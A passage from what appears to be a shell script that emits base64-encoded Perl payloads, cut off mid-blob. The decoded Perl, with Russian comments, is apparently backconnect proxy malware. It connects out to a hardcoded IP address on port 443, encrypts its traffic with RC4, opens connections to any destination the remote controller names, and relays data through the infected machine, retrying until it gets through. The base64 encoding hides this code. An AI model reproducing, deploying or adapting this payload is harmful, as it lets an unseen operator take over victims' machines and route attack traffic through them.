KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_10() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTAnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
